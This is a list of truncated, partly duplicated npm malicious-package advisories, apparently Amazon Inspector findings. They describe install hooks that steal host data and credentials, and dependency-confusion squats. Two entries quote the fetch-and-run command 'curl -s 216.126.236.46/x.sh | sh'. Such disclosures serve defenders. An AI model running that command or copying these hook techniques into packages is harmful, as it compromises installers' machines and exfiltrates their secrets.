Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

MAL-2026-14445 Malicious code in digitalexp-style-module-l9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c1b3e9059995d4d535c65fafd0105eea420510acb17ad9befbc99c18aa25df9 package.json declares both preinstall and postinstall as node beacon.js, so beacon.js runs automatically on every npm install. beacon.js reads...

MAL-2026-14434 Malicious code in openai-pr-reviewer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3553acd3c5abc3f71b55740c4b06b2eb278f81bb678c55211f2287a498b60b61 The package's preinstall hook runs index.js, which collects the installer's hostname, username, home directory, DNS servers, current working director...

Malicious code in openai-pr-reviewer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3553acd3c5abc3f71b55740c4b06b2eb278f81bb678c55211f2287a498b60b61 The package's preinstall hook runs index.js, which collects the installer's hostname, username, home directory, DNS servers, current working director...

Malicious code in @gsas/gsas-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2242b683433d5fe37b3997185d251799a4606a456e516da08586775d11f0cb7e @gsas/[email protected] is a high-version public-registry squat targeting an internal @gsas/gsas-sdk name. package.json declares preinstall: node...

MAL-2026-14390 Malicious code in amundi-compare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...

Malicious code in @mohamed_nowisar/token3-check (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 10d463b1de43a90878da858dd595dadf43fcbbbb9d2e26cfd8b14ff6e0167457 The package registers preinstall, install, and postinstall lifecycle hooks that all execute beacon.js. On any npm install, beacon.js collects the...

Malicious code in @mohamed_nowisar/depconf-canary-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 078a8dc3351eb44ee9ff0d5992b9082b726d7fbce0152ae2d44595a9e279ef82 On npm install, the package's preinstall hook runs node beacon.js, which collects host identity os.hostname, os.userInfo.username, process.cwd,...

MAL-2026-14139 Malicious code in prism-registry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6570c9056bf020fdada0366045c4e91a0f5cb21171fe27df9fcea82259e7809 The package declares preinstall: "node index.js", which fires automatically on npm install. index.js collects host identifiers os.hostname,...

Malicious code in @openrepl/shared (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2fcd297122e7aac00cd0d3d92fcb5f1fc00b6c558571a037b5447eb64bd443b8 package.json declares a preinstall hook node index.js that runs automatically on npm install. index.js shells out via childprocess to execute curl -X...

Malicious code in autbank-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c4077e84d7c02b7a8259ade848e89f9fd07ba0db7fb06bbaaa0c6e75f3e007d On npm install, preinstall.js enumerates process.env for keys matching credential substrings KEY, SECRET, TOKEN, PASSWORD, AWS, API, CREDENTIAL, AUTH...

Malicious code in alelo-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e520850363c3164a09e0772022283849a0abd1b6f60e9168f4a5fd3ff338886 The package fires attacker-controlled code on npm install via both preinstall.js and index.js postinstall. preinstall.js collects hostname, username,...

Malicious code in meualelo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6fdf84c3f49f6d13b7ccbed745056f8bf03c4c7a2b814152962361ac07bd4191 The package's preinstall.js collects hostname, username, platform, cwd, and the full process.env, then POSTs the JSON payload over HTTPS with TLS...

Malicious code in alelo-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6898fc8ceef98678ef5e208de13006abf0684d219babdee50f6f90b732092f8b [email protected] is a dependency-confusion / impersonation package targeting an internal 'Alelo' namespace version 99.0.0, generic 'internal...

Malicious code in preinstall-hook-webhook-callback-demo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6e707d55368c2628038e0efaac35629fba6dbd520e66a7e29f9c6a86c69b2e1 package.json declares a preinstall lifecycle script that contacts webhook.site, an ephemeral request-capture service commonly used as an...

Malicious code in global-intel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5449036ad6a1bf0ee192023ddb23ea7afefe53da7133ab91f4ffbc6d3253f5dc package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identity and OS files from the installer —...

MAL-2026-13952 Malicious code in global-intel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5449036ad6a1bf0ee192023ddb23ea7afefe53da7133ab91f4ffbc6d3253f5dc package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identity and OS files from the installer —...

Malicious code in cilm-ui-commons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 008641dff89b7e4b86993671997e965642fab5620006c5ece0827f0fe72fe0d9 On npm install, the preinstall hook executes index.js which collects host identity data os.hostname, os.userInfo.username, os.homedir, current workin...